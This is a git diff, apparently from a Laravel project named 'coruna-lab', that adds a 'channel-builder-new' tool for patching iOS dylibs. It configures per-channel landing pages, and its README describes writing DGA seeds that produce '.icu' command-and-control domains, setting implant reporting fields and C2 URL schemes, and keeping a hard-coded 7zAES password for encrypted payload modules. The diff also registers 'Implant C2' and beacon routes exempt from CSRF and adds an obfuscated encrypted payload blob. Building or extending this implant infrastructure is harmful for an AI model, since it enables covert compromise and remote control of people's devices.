'support_path' => (string) ($result['support_path'] ?? $weifilePath),
|
||||
'weifile_path' => $weifilePath,
|
||||
'daily_path' => '',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $cmd
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function runBuilder(array $cmd, string $errorPrefix): array
|
||||
private function runBuilder(array $cmd, string $errorPrefix, string $cwd): array
|
||||
{
|
||||
$timeout = (float) config('coruna.channel_builder.timeout', 600);
|
||||
$process = Process::timeout((int) max(1, $timeout))
|
||||
->path(base_path('channel-builder'))
|
||||
->path($cwd)
|
||||
->run($cmd);
|
||||
|
||||
if (! $process->successful()) {
|
||||
@@ -147,24 +302,34 @@ class ChannelProjectService
|
||||
throw new RuntimeException("{$errorPrefix}: missing builder result marker");
|
||||
}
|
||||
|
||||
private function pythonBinary(): string
|
||||
private function pythonBinary(string $builderType): string
|
||||
{
|
||||
$configured = trim((string) config('coruna.channel_builder.python', ''));
|
||||
$configKey = $builderType === self::BUILDER_NEW
|
||||
? 'coruna.channel_builder_new.python'
|
||||
: 'coruna.channel_builder.python';
|
||||
$configured = trim((string) config($configKey, ''));
|
||||
if ($configured !== '') {
|
||||
return $configured;
|
||||
}
|
||||
|
||||
$venv = base_path('channel-builder/.venv/bin/python');
|
||||
$venv = $this->builderCwd($builderType).'/.venv/bin/python';
|
||||
if (is_file($venv)) {
|
||||
return $venv;
|
||||
}
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
$fallback = base_path('channel-builder/.venv/bin/python');
|
||||
if (is_file($fallback)) {
|
||||
return $fallback;
|
||||
}
|
||||
}
|
||||
|
||||
return 'python3';
|
||||
}
|
||||
|
||||
private function builderScript(string $name): string
|
||||
private function builderScript(string $name, string $builderType): string
|
||||
{
|
||||
$path = base_path('channel-builder/tools/'.$name);
|
||||
$path = $this->builderCwd($builderType).'/tools/'.$name;
|
||||
if (! is_file($path)) {
|
||||
throw new RuntimeException("渠道构建脚本不存在: {$path}");
|
||||
}
|
||||
@@ -172,6 +337,13 @@ class ChannelProjectService
|
||||
return $path;
|
||||
}
|
||||
|
||||
private function builderCwd(string $builderType): string
|
||||
{
|
||||
return $builderType === self::BUILDER_NEW
|
||||
? base_path('channel-builder-new')
|
||||
: base_path('channel-builder');
|
||||
}
|
||||
|
||||
private function artifactRoot(): string
|
||||
{
|
||||
$root = trim((string) config('coruna.channel_builder.artifact_root', ''));
|
||||
@@ -182,11 +354,16 @@ class ChannelProjectService
|
||||
return $this->ensureDirectory($root, '产物目录');
|
||||
}
|
||||
|
||||
private function stateRoot(): string
|
||||
private function stateRoot(string $builderType): string
|
||||
{
|
||||
$root = trim((string) config('coruna.channel_builder.state_root', ''));
|
||||
$key = $builderType === self::BUILDER_NEW
|
||||
? 'coruna.channel_builder_new.state_root'
|
||||
: 'coruna.channel_builder.state_root';
|
||||
$root = trim((string) config($key, ''));
|
||||
if ($root === '') {
|
||||
$root = storage_path('app/channel-builder');
|
||||
$root = $builderType === self::BUILDER_NEW
|
||||
? storage_path('app/channel-builder-new')
|
||||
: storage_path('app/channel-builder');
|
||||
}
|
||||
|
||||
return $this->ensureDirectory($root, '构建状态目录');
|
||||
@@ -201,6 +378,19 @@ class ChannelProjectService
|
||||
return $root;
|
||||
}
|
||||
|
||||
private function normalizeBuilderType(string $builderType): string
|
||||
{
|
||||
$builderType = strtolower(trim($builderType));
|
||||
if ($builderType === '') {
|
||||
return self::BUILDER_OLD;
|
||||
}
|
||||
if (! in_array($builderType, [self::BUILDER_OLD, self::BUILDER_NEW], true)) {
|
||||
throw new RuntimeException('无效的渠道类型(支持: old, new)');
|
||||
}
|
||||
|
||||
return $builderType;
|
||||
}
|
||||
|
||||
private function normalizeChannelId(string $channelId): string
|
||||
{
|
||||
$channelId = strtolower(trim($channelId));
|
||||
@@ -211,6 +401,19 @@ class ChannelProjectService
|
||||
return $channelId;
|
||||
}
|
||||
|
||||
private function normalizeChannelName(string $channelName): string
|
||||
{
|
||||
$channelName = strtolower(trim($channelName));
|
||||
if (! preg_match('/^[a-z0-9]{8,32}$/', $channelName)) {
|
||||
throw new RuntimeException('Invalid channel name');
|
||||
}
|
||||
if (Channel::isReservedChannelName($channelName)) {
|
||||
throw new RuntimeException('channel_name 与保留路径冲突');
|
||||
}
|
||||
|
||||
return $channelName;
|
||||
}
|
||||
|
||||
private function normalizeSupportTemplate(string $supportTemplate): string
|
||||
{
|
||||
$supportTemplate = strtolower(trim($supportTemplate));
|
||||
@@ -229,8 +432,10 @@ class ChannelProjectService
|
||||
/**
|
||||
* @return array{0: ?string, 1: ?string}
|
||||
*/
|
||||
private function normalizeOptionalSeeds(?string $deploymentSeed, ?string $reportingSeed): array
|
||||
{
|
||||
private function normalizeOptionalSeeds(
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
$deploymentSeed = $deploymentSeed !== null ? trim($deploymentSeed) : null;
|
||||
$reportingSeed = $reportingSeed !== null ? trim($reportingSeed) : null;
|
||||
if (($deploymentSeed === null || $deploymentSeed === '') && ($reportingSeed === null || $reportingSeed === '')) {
|
||||
|
||||
@@ -43,7 +43,7 @@ class ChannelCommand
|
||||
$lines[] = ' 备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status;
|
||||
|
||||
$links = $channel->supportLinks();
|
||||
$link = $links[0] ?? ('/web/'.$channel->channel_id.'/support.html');
|
||||
$link = $links[0] ?? $channel->landingPath();
|
||||
if (strlen($link) > 256) {
|
||||
$link = substr($link, 0, 256);
|
||||
}
|
||||
|
||||
@@ -11,6 +11,7 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
then: function () {
|
||||
// Implant C2: no CSRF / session
|
||||
require __DIR__.'/../routes/c2.php';
|
||||
require __DIR__.'/../routes/xxbb.php';
|
||||
|
||||
// External webhooks (no CSRF)
|
||||
require __DIR__.'/../routes/hooks.php';
|
||||
@@ -45,6 +46,15 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
'link/*',
|
||||
'hooks/*',
|
||||
'statistic/t',
|
||||
'vhx',
|
||||
'event',
|
||||
'a',
|
||||
'u',
|
||||
'uj',
|
||||
'us',
|
||||
'ub',
|
||||
'ba',
|
||||
'result',
|
||||
]);
|
||||
|
||||
$middleware->redirectGuestsTo(function () {
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
# channel-builder-new
|
||||
|
||||
xxbb / weifile channel builder for coruna-lab. Separate from `channel-builder/`
|
||||
(lab `web/` + `sync/` layout). New-type channels are distinguished by
|
||||
`/source/{channel_name}/index.html`.
|
||||
|
||||
This pass patches **weifile secondary type-0x01 only** (DGA seeds + reporting
|
||||
field `c`). `details/` is copied as-is (core/`c` not rewritten yet).
|
||||
|
||||
```bash
|
||||
cd channel-builder-new
|
||||
python3 -m venv .venv
|
||||
.venv/bin/pip install -r requirements.txt
|
||||
|
||||
.venv/bin/python tools/build.py \
|
||||
--channel-name <8-32-alnum> \
|
||||
--apply --force
|
||||
```
|
||||
|
||||
Writes `{artifact-root}/source/{channel_name}/` (landing `index.html`) and
|
||||
shared `{artifact-root}/details/` (default `../public`).
|
||||
|
||||
DGA seeds: omit `--deployment-seed` / `--reporting-seed` to reuse
|
||||
`storage/app/channel-builder-new/lab_seeds.json`, or generate them on first run.
|
||||
First generate writes one random seed and copies it to both deployment and
|
||||
reporting (same as `channel-builder`). CLI pair must also match. The first 5
|
||||
PLServerPool DGA candidates are stored in `lab_seeds.json` and returned in
|
||||
the create result (`domains.deployment` / `domains.reporting`).
|
||||
|
||||
| Flag | What it replaces | Where |
|
||||
|------|------------------|--------|
|
||||
| `--deployment-seed` | DGA seed → `%@.icu` / `backup%u.icu` | secondary dylibs (1 hit each) |
|
||||
| `--reporting-seed` | Reporting DGA seed | secondary dylibs (1 hit each) |
|
||||
| `--channel-c` | Native report field `c` (`202700cf…`) | secondary dylibs (1 hit each) |
|
||||
| `--scheme` | Native DGA/C2 URL scheme (`https://%@` / `https://backup%u.icu`) | secondary dylibs (default `https`; `http` is ATS-blocked on device for `.icu` hosts) |
|
||||
|
||||
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`
|
||||
(one nibble off `c`). Details modules still decrypt with that password.
|
||||
|
||||
`index.js` iptj URL / `channelCode` are not patched here. Native `/event`
|
||||
`c` still comes from core until a later details pass.
|
||||
@@ -0,0 +1 @@
|
||||
pycryptodome>=3.19
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
@@ -0,0 +1 @@
|
||||
window["qbrdr"]("bxfeZl2xvYC6gX6EmDhACuA6itGK9GGx2UiuruNtIRcV0p3s84ugiS9OQtk8L0SN8G0+dho5Gn9BsNXNRhlv4GFFNbl7KzWh62+TdHObjr8s0nQ8dc/7Wq8kakweptmSavpcri/SiW7fO3C4SMqWyfvNxZ2EzHnFQcDoOTJXvFowSTwaRaz4lEgNigCkYg7lZ9ij3uFJ026KMblXuLEn2flUx2I4AL0XZ75FEnlRdVOl8nAAhFqdcTdewjmyhkUruXyqWzw5I4HidHxtzPPmmAmR6wH5ggI5lPsxDgatQt5dtUVjj6dJTyLwY41mfVX4jLXnrhWw8UdOFqOuY5G9PlbyEMKO0klyU+e3E7YRYDvJrBsUWQs/JEOCt1Gj0Dx/RHrflrEPj/WUkEhpDfXvCI08i1e6Kb/h7EZYL6a2fiVWfjW40YTfRANypoExO/3ZokYpn6HgeIXOuzxY5WvuH48IA3gfgsOE0qqFbhqTy0ZoESzqeQFgoK9uX+8t+OFv0RZqbCjL5/tYJRoKHKvqIDTAzKZ3Vk6EwJMsFhkOyo8Dkao7x+zrEV7/SuNjzBX2KFUwACvtBOKc3+EqvcMZ1gFh9DSH6yodOBJEFW5G/H7c7g7Yd5d4WLdeFDYGlfvK2H1E/TEgYv7WSF/UxV35xf5C7o7J4Qt6IcR3gp8U/KfLuVo5MEzH2rW6mj0GT+fYwHoDzYrO9xmp407ewYyLwGBT5Wke3453Z/cTBW8mqYfCUPywUQQdT4tGUcqzpWbvySeDzYOT+sbJN/8w3IqkOgYBzQ722SJd6xa1zHGKCcRGs8xpArMTGz6VnnhTlYMXw+YE0xgi00Gel3+8Rw3BLOswZzD2T6R7KA+5EiM6nvnJvxRgSLNQoZbemdlZFaeJv+3aU+6XAMfWG+j6rSE1SntaX+DxWgIelb6cuH0dE3ZChHM6JgLXOhe+WavOAfqLShRFLpP0zKmO4cvDNCnvUxGc0O8f8fXdFryzvKxZ054zwo+2TGYuKE+2//CY0jCIHO9xXvWPZADdPEm7dchpQ5iYySar8Oyz/2lUnomirCbzwucBC97rPsKMfM1JvbKAScKHn/ekil2b5aXgEImu7jb40lDz5GU2nYFYLMBPOxpYxpBtwnlKOsS4UfF24oHd8K64FaXuQzLCIiuTGnjybTk7ybYQpoygrnpWe4r9r4FmW2grw/P8pMegqP4SL0swwU0IUAInSSG4+T6Ak3u3uUZumvD/Z2mGA4rJFzIZ+UZlB+baZ+rcOv48A0h7n5D4XlXAMPGrhcEw3EmTwR7IYRZIUHXEI5dZsTKm6tY5935OtHP7lzZo2fNzFehEjsCdULQ7yRb3Ggh2DJl9KMZh6DhArhcudxSudd0qF/XStbQeuBFr3jpSYTeoraLuiqMGs70CDhy+e4k3/T9yWCULrfGV4aa0XKpmvmfkI+wJOXlyPSdlFnejJrbKf7ZUN6+CPdW1jsfQXoV626CIOROm8klSsqxU8FtrDw1kpR+bdEFQ/eXDUhd1Tqk6uevdP5pIcEkxuefBmSzABe9j4XvrjIB1ZQgn0sMIwFUCLynTTxfcOdxVc645ZM+Ljop14IsiGXX6Dbqk1BKUnG2DkXz9+0Qe7btzue1VQSub685/c89zZKr6lEvnBjaG8wqjl5vJd90my7jhqPdD5aLuvPl3SRtbYLzGSgHIpWn8iu4X8IqWN+tsjg17QBcR3Y4xTKwhqxyxjD/VEBgwt7KCid6/L+qtec4+npBl")
|
||||
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user